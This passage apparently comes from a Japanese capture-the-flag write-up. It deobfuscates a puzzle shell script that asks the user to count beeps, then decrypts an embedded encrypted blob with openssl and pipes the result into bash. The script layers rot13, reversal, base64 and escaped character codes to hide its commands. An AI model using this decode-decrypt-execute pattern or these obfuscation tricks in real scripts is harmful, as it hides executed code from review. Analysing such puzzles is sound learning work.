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|base64 -d|openssl aes-256-cbc -d -pass pass:$(echo -n $n|md5sum |cut -c2,3,5,12) -md md5 2>/dev/null |bash;

ワンラインだと読みづらいので、またセミコロン;の後に改行を入れて確認してみます。

$ sed -e "s/;/;\n/g" Beeeeeeeeeer_3.sh > Beeeeeeeeeer_4.sh

改行を挿入すると、以下のようになります。

for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));
do l=$((RANDOM % 10 +1));
 for m in $($(echo ==gCxV2c |rev|base64 -d) $l);
 do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a';
 $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d);
 done;
 $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?";
 $'\162\145\141\144' n </dev/tty;
 export n;
 if [ "$n" -ne "$l" ];
then $'\x65\x78\x69\x74';
fi;
 done;
echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);
 $'\162\145\141\144'  $'\u006e' </dev/tty;
 $'\u0065\u0078\u0070\u006f\u0072\u0074'  $'\156';
echo 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